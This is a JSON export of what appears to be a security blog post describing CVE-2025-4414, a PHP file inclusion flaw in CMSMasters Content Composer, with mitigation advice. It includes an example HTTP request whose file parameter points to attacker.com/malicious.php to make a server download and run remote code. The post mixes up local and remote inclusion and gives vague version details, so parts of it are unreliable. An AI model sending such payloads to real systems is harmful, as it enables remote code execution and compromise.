{"id":59321,"date":"2025-07-12T05:43:20","date_gmt":"2025-07-12T05:43:20","guid":{"rendered":""},"modified":"2025-10-21T05:39:00","modified_gmt":"2025-10-21T11:39:00","slug":"cve-2025-4414-critical-php-remote-file-inclusion-vulnerability-in-cmsmasters-content-composer","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4414-critical-php-remote-file-inclusion-vulnerability-in-cmsmasters-content-composer\/","title":{"rendered":"CVE-2025-4414: Critical PHP Remote File Inclusion Vulnerability in CMSMasters Content Composer<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the ever-evolving landscape of cybersecurity, vulnerabilities emerge that could potentially compromise our systems and leak sensitive data. One such vulnerability, identified as CVE-2025-4414, relates to an improper control of filename in PHP program that allows for PHP Local File Inclusion. This vulnerability presents a serious threat as it affects CMSMasters Content Composer, a widely used content management system<\/a>. It’s essential for all users of this software to be aware of the potential<\/a> risk and take the necessary steps to mitigate it.
\nThe impact of this vulnerability is significant, with a potential for system<\/a> compromise or data leakage. With a CVSS score of 8.1, it is clearly a high-risk vulnerability<\/a>. Any entity using CMSMasters Content Composer should prioritize this issue and act promptly to mitigate the risk<\/a>.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-4414
\nSeverity: High (CVSS: 8.1)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: Potential system compromise or data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

CMSMasters Content Composer | All versions up to latest<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability arises due to improper control<\/a> of a filename that is used in an include\/require statement in a PHP program within CMSMasters Content Composer. An attacker can manipulate the filename input and include a file from a remote<\/a> server. This is known as a PHP Remote File Inclusion<\/a> (RFI) vulnerability. The attacker can use this to run arbitrary PHP code within the application’s context, potentially leading to full system<\/a> compromise.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

This conceptual example illustrates how a PHP RFI vulnerability<\/a> like CVE-2025-4414 could be exploited. The attacker sends a HTTP POST request to a vulnerable<\/a> endpoint with a malicious payload:<\/p>\n

POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\nfile=http:\/\/attacker.com\/malicious.php<\/code><\/pre>\n
In this example, the server would download and execute the “malicious.php” script from the attacker’s server, leading to the execution of arbitrary PHP code<\/a> on the target system.<\/p>\n
Mitigation<\/strong><\/p>\n
Users of CMSMasters Content Composer are strongly urged to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation measure. Implementing strict input validation and sanitization methods can also help reduce the risk associated with this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview In the ever-evolving landscape of cybersecurity, vulnerabilities emerge that could potentially compromise our systems and leak sensitive data. One such vulnerability, identified as CVE-2025-4414, relates to an improper control of filename in PHP program that allows for PHP Local File Inclusion. This vulnerability presents a serious threat as it affects CMSMasters Content Composer, a […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59321","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t